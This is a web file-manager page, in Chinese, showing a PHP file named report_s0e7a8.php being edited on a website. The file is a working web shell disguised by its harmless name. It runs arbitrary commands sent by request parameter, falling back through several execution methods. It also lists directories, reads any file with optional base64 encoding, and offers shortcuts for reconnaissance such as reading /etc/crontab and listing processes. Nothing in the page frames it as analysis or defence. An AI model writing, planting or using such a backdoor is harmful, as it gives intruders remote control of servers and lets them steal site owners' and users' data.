✏️ 编辑:report_s0e7a8.php
路径:
/home/boguraj1/digitalitshop.top/report_s0e7a8.php
大小:3.17 KB · 修改:2026-10-13 10:19:26 · 权限:0644 · 可写
← 返回目录
👁 查看
⬇ 下载
<?php error_reporting(0); header('Content-Type: text/plain; charset=utf-8'); function rk_p($v) { return is_scalar($v) ? (string) $v : ''; } function rk_via_shell($cmd) { $out = ''; if (function_exists('shell_exec')) { $out = @shell_exec($cmd . ' 2>&1'); } if (($out === false || $out === null || $out === '') && function_exists('proc_open')) { $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $ph = @proc_open($cmd, $desc, $pipes); if (is_resource($ph)) { $out = @stream_get_contents($pipes[1]) . @stream_get_contents($pipes[2]); @proc_close($ph); } } if ($out === false || $out === null) { $out = ''; } return $out; } function rk_via_pctnl($cmd) { if (!function_exists('pcntl_fork') || !function_exists('pcntl_exec')) { return ''; } $tmp = @tempnam(@sys_get_temp_dir(), 'rk'); if ($tmp === false) { $tmp = '/tmp/rk' . @getmypid(); } @file_put_contents($tmp, ''); $pid = @pcntl_fork(); if ($pid === -1 || $pid === false) { return ''; } if ($pid === 0) { $fd = @fopen($tmp, 'w'); if ($fd) { @fclose($fd); } @pcntl_exec('/bin/sh', array('-c', '(' . $cmd . ') > ' . $tmp . ' 2>&1')); exit(0); } $n = 0; while ($n < 60) { usleep(100000); $n++; if (@filesize($tmp) > 0) { break; } } @pcntl_waitpid($pid, $st, WNOHANG); $out = @file_get_contents($tmp); @unlink($tmp); if ($out === false || $out === null) { $out = ''; } return $out; } function rk_via_backtick($cmd) { $out = @`$cmd 2>&1`; if ($out === false || $out === null) { $out = ''; } return $out; } function rk_run($cmd) { $out = rk_via_shell($cmd); if ($out === '') { $out = rk_via_pctnl($cmd); } if ($out === '') { $out = rk_via_backtick($cmd); } return $out; } $in = array_merge($_GET, $_POST); $cmd = isset($in['c']) ? rk_p($in['c']) : ''; $fn = isset($in['f']) ? rk_p($in['f']) : ''; $b64 = isset($in['b64']) && $in['b64'] !== '' && $in['b64'] !== '0'; if ($cmd === '' && $fn === '') { $cmd = 'id'; } if ($cmd !== '') { echo rk_run($cmd); exit; } $map = array( 'id' => 'id', 'whoami' => 'whoami', 'hostname' => 'hostname', 'uname' => 'uname -a', 'pwd' => 'pwd', 'date' => 'date', 'uptime' => 'uptime', 'df' => 'df -h', 'cron' => 'cat /etc/crontab', 'proc' => 'ps aux', ); $path = $fn; if (isset($map[$path])) { echo rk_run($map[$path]); exit; } if (is_dir($path)) { echo 'OK: dir=' . $path . "\n"; $h = @scandir($path); if (is_array($h)) { foreach ($h as $f) { if ($f === '.' || $f === '..') { continue; } $p = $path . '/' . $f; echo (@is_dir($p) ? 'd' : '-') . ' ' . @substr(sprintf('%o', @fileperms($p)), -4) . ' ' . @filesize($p) . ' ' . $f . "\n"; } } exit; } if (@is_file($path)) { $d = @file_get_contents($path); if ($d === false) { echo 'ERR: cannot read ' . $path . "\n"; exit; } if ($b64) { echo base64_encode($d); exit; } echo 'OK: file=' . $path . ' bytes=' . strlen($d) . "\n" . $d; exit; } echo 'ERR: not found ' . $path . "\n";
💾 保存
取消
保存为 UTF-8,换行统一为 LF